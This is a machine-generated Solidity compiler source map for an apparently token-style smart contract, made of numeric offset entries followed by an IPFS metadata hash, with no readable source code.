2251:3108:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2830:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3440:208;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3102:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4028:449;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4706:114;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3016:78;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4490:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3194:106;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2058:178;;;:::i;:::-;;1971:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2921:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3670:340;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3304:129;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2830:83;2867:13;2900:5;2893:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2830:83;:::o;3440:208::-;3506:12;3564:6;3535:5;:17;3541:10;3535:17;;;;;;;;;;;;;;;:26;3553:7;3535:26;;;;;;;;;;;;;;;:35;;;;3607:7;3586:37;;3595:10;3586:37;;;3616:6;3586:37;;;;;;:::i;:::-;;;;;;;;3641:4;3634:11;;3440:208;;;;:::o;3102:84::-;3147:7;3174:4;;3167:11;;3102:84;:::o;4028:449::-;4117:4;4148;:12;4153:6;4148:12;;;;;;;;;;;;;;;;4138:6;:22;;4130:31;;;;;;4187:5;:13;4193:6;4187:13;;;;;;;;;;;;;;;:25;4201:10;4187:25;;;;;;;;;;;;;;;;4177:6;:35;;4169:44;;;;;;4253:2;4237:4;:12;4242:6;4237:12;;;;;;;;;;;;;;;;:18;4234:242;;4268:32;4274:6;4282:9;4293:6;4268:5;:32::i;:::-;4318:4;4311:11;;;;4234:242;4364:1;4348:4;:12;4353:6;4348:12;;;;;;;;;;;;;;;;:17;4345:131;;4405:1;4387:4;:15;4392:9;4387:15;;;;;;;;;;;;;;;;:19;4383:92;;4419:32;4425:6;4433:9;4444:6;4419:5;:32::i;:::-;4469:4;4462:11;;;;4383:92;4345:131;4028:449;;;;;;:::o;4706:114::-;4794:2;4774:4;:16;4779:10;4774:16;;;;;;;;;;;;;;;;:22;;4766:31;;;;;;4803:15;4808:4;4813;4803;:15::i;:::-;4706:114;;:::o;3016:78::-;3057:5;3082:4;;;;;;;;;;;3075:11;;3016:78;:::o;4490:117::-;4578:2;4558:4;:16;4563:10;4558:16;;;;;;;;;;;;;;;;:22;;4550:31;;;;;;4603:2;4590:4;:10;4595:4;4590:10;;;;;;;;;;;;;;;:15;;;;4490:117;:::o;3194:106::-;3252:7;3279:4;:13;3284:7;3279:13;;;;;;;;;;;;;;;;3272:20;;3194:106;;;:::o;2058:178::-;2135:6;;;;;;;;;;2121:20;;:10;:20;;;2113:29;;;;;;2195:1;2158:40;;2179:6;;;;;;;;;;2158:40;;;;;;;;;;;;2226:1;2209:6;;:19;;;;;;;;;;;;;;;;;;2058:178::o;1971:79::-;2009:7;2036:6;;;;;;;;;;;2029:13;;1971:79;:::o;2921:87::-;2960:13;2993:7;2986:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2921:87;:::o;3670:340::-;3739:4;3777;:16;3782:10;3777:16;;;;;;;;;;;;;;;;3767:6;:26;;3759:35;;;;;;3828:1;3808:4;:16;3813:10;3808:16;;;;;;;;;;;;;;;;:21;3805:98;;3842:36;3848:10;3860:9;3871:6;3842:5;:36::i;:::-;3896:4;3889:11;;;;3805:98;3933:2;3913:4;:16;3918:10;3913:16;;;;;;;;;;;;;;;;:22;3910:99;;3948:36;3954:10;3966:9;3977:6;3948:5;:36::i;:::-;4002:4;3995:11;;;;3910:99;3670:340;;;;;:::o;3304:129::-;3377:7;3404:5;:12;3410:5;3404:12;;;;;;;;;;;;;;;:21;3417:7;3404:21;;;;;;;;;;;;;;;;3397:28;;3304:129;;;;:::o;5088:261::-;5190:24;5207:6;5190:4;:12;5195:6;5190:12;;;;;;;;;;;;;;;;:16;;:24;;;;:::i;:::-;5175:4;:12;5180:6;5175:12;;;;;;;;;;;;;;;:39;;;;5243:27;5263:6;5243:4;:15;5248:9;5243:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;5225:4;:15;5230:9;5225:15;;;;;;;;;;;;;;;:45;;;;5291:4;;;;;;;;;;;5282:13;;5328:9;5311:35;;5320:6;5311:35;;;5339:6;5311:35;;;;;;:::i;:::-;;;;;;;;5088:261;;;:::o;4829:236::-;4931:24;4948:6;4931:4;:12;4936:6;4931:12;;;;;;;;;;;;;;;;:16;;:24;;;;:::i;:::-;4916:4;:12;4921:6;4916:12;;;;;;;;;;;;;;;:39;;;;4984:27;5004:6;4984:4;:15;4989:9;4984:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;4966:4;:15;4971:9;4966:15;;;;;;;;;;;;;;;:45;;;;5044:9;5027:35;;5036:6;5027:35;;;5055:6;5027:35;;;;;;:::i;:::-;;;;;;;;4829:236;;;:::o;4612:81::-;4687:4;4673;:10;4678:4;4673:10;;;;;;;;;;;;;;;;:18;;;;;;;:::i;:::-;;;;;;;;4612:81;;:::o;419:136::-;477:7;504:43;508:1;511;504:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;497:50;;419:136;;;;:::o;232:179::-;290:7;310:9;326:1;322;:5;;;;:::i;:::-;310:17;;351:1;346;:6;;338:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;402:1;395:8;;;232:179;;;;:::o;563:190::-;649:7;682:1;677;:6;;685:12;669:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;709:9;725:1;721;:5;;;;:::i;:::-;709:17;;744:1;737:8;;;563:190;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:180::-;6580:77;6577:1;6570:88;6677:4;6674:1;6667:15;6701:4;6698:1;6691:15;6718:191;6758:3;6777:20;6795:1;6777:20;:::i;:::-;6772:25;;6811:20;6829:1;6811:20;:::i;:::-;6806:25;;6854:1;6851;6847:9;6840:16;;6875:3;6872:1;6869:10;6866:36;;;6882:18;;:::i;:::-;6866:36;6718:191;;;;:::o;6915:177::-;7055:29;7051:1;7043:6;7039:14;7032:53;6915:177;:::o;7098:366::-;7240:3;7261:67;7325:2;7320:3;7261:67;:::i;:::-;7254:74;;7337:93;7426:3;7337:93;:::i;:::-;7455:2;7450:3;7446:12;7439:19;;7098:366;;;:::o;7470:419::-;7636:4;7674:2;7663:9;7659:18;7651:26;;7723:9;7717:4;7713:20;7709:1;7698:9;7694:17;7687:47;7751:131;7877:4;7751:131;:::i;:::-;7743:139;;7470:419;;;:::o;7895:194::-;7935:4;7955:20;7973:1;7955:20;:::i;:::-;7950:25;;7989:20;8007:1;7989:20;:::i;:::-;7984:25;;8033:1;8030;8026:9;8018:17;;8057:1;8051:4;8048:11;8045:37;;;8062:18;;:::i;:::-;8045:37;7895:194;;;;:::o

ipfs://7272c52f7812398a976486fe00a5aed72806b1eae6a39fa2caf273404b02c2b4